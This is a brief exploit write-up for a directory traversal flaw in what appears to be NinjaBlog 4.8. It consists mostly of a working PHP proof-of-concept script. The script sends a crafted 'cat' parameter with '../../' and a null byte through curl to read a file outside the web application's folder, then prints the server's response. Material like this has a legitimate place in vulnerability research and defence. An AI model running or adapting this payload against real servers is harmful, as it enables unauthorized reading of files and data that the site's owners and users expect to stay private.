Due to insufficient validation of client-side data, we can alter the path of files to be read to a file outside the intended directory.
|
|
|
|
The following PoC will read a file named 'test.txt' one level above the application folder.

|

<?php
|
|
|
|
$strToRead = "../../test.txt%00"; //Designates 'test.txt', sat one level above the application folder, to be read
|
|
$strSite = "http://www.example.com/ninjablog4.8/"; //Don't forget the trailing slash
|
|
|
|
$objCurl = curl_init();
|
|
curl_setopt($objCurl, CURLOPT_URL, $strSite."entries/index.php?cat=".$strToRead);
|
|
curl_setopt($objCurl, CURLOPT_RETURNTRANSFER, true);
|
|
|
|
echo("Getting data...\n");
|
|
$strDump = curl_exec($objCurl);
|
|
|
|
curl_close($objCurl);
|
|
|

echo("<div style=\"border: solid 2px black; padding: 10px; margin: 10px;\">$strDump</div>\n");
